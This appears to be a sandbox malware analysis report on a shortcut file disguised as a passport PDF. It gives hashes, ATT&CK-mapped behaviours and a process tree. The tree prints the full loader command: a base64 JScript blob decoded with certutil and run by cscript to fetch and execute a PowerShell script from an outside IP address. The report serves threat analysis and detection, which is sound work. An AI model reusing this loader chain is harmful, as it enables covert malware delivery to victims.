9b04fff504668a55ced0d3fbecbfa0c40b695f749b47ffc5c2f4bb0555f6824b

General

Target
ScanPassportiv2.pdf.lnk
Size 15KB
Sample260724-eak41afq7x
SHA256 9b04fff504668a55ced0d3fbecbfa0c40b695f749b47ffc5c2f4bb0555f6824b
MD5 267fdebc318e538c9959fba715133cf7
SHA1 777c2b1a5b40566d3db3354928dd47f89608fc07
SHA512 5aa3aa2fad89fb09e3f23d7ecbde6af78043da48f9014630d44eb0e57026ed1f5e9bcadbfda0ae9f3df90e497a8bb45f217b7bc2be1cb22bb1d29f6c1339eb18
SSDEEP 24:8d/FOX7ZF79JWInZN+a537DBEpmJL7rGvlxPlpYZ+MXBNCW/1Mh7gN:8lFOX37DnyONE+L7C9bAfB9
TLSH
T125729924B2F50149E1F3EF717EF4BBC65D9BBAA37631919624A1430A4800E40ED65B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2880	cscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1644	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4944	cmd.exe
2252	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4116	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1644	powershell.exe
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 4944	4116	cmd.exe	87
PID 4944 wrote to memory of 2252	4944	cmd.exe	88
PID 4944 wrote to memory of 2880	4944	cmd.exe	89
PID 2880 wrote to memory of 1644	2880	cscript.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv2.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvcGVybWlzc2libGV2ZXJzZWQucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7 > Psl.dat && certutil -f -decode Psl.dat gllz6J.js >nul && dir Psl.dat >nul && cscript //nologo //b gllz6J.js && del Psl.dat gllz6J.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\certutil.exe
    certutil -f -decode Psl.dat gllz6J.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2252
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b gllz6J.js
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 185.95.156.74 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

3

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

1

T1140

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Psl.dat

Path C:\Users\Admin\AppData\Local\Temp\Psl.dat
Size 416B
SHA256 85af06be38eb46ff23334f09efc244873f72ec6d2b7af896491166441eaad2ca
MD5 e214090d48effbf7f6ce479df5e6e5f2
SHA1 5558f9d60d92cf9f537def6774b884044c0ba544
SHA512 2d7291a000da46f9819fb504f4c5897cf4a195b3b7a94b1b29eb043fa5e2d8a35fda88f9287d67e51c236b922882f9f8abca679260e6ef98c005f228bbccc4a0
TLSH
T18CE0235ED1030B14E52C17533430639CD150CFD22EF1182E92553F94180432F644412C
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_25rxi2fu.dqw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25rxi2fu.dqw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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gllz6J.js

Path C:\Users\Admin\AppData\Local\Temp\gllz6J.js
Size 309B
SHA256 79d91d65e8e6c99435bc4cfda94dfbe46c63c0c5c27e36490fe57e4b89696823
MD5 ad42f6a7a3bcc9367b8b75962977b659
SHA1 db9bc42795aae6fdc4852e18183e57fc56c3db7e
SHA512 ff6d161a2a989ad6020a57725f227d2e48bb54ab8cf816d08d9f97852a85f4ab881ea7563ca7b2c1adea92f93a0c2c78a62c2c7c30d1a48964e6641c2e775630
TLSH
T125E07D544074A0ED51C7DFDC6064C76082EB80A57045A8BFF748C9D41812248125D68E
MD5 SHA1 SHA512 TLSH

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memory/1644-11-0x000001579EEA0000-0x000001579EEC2000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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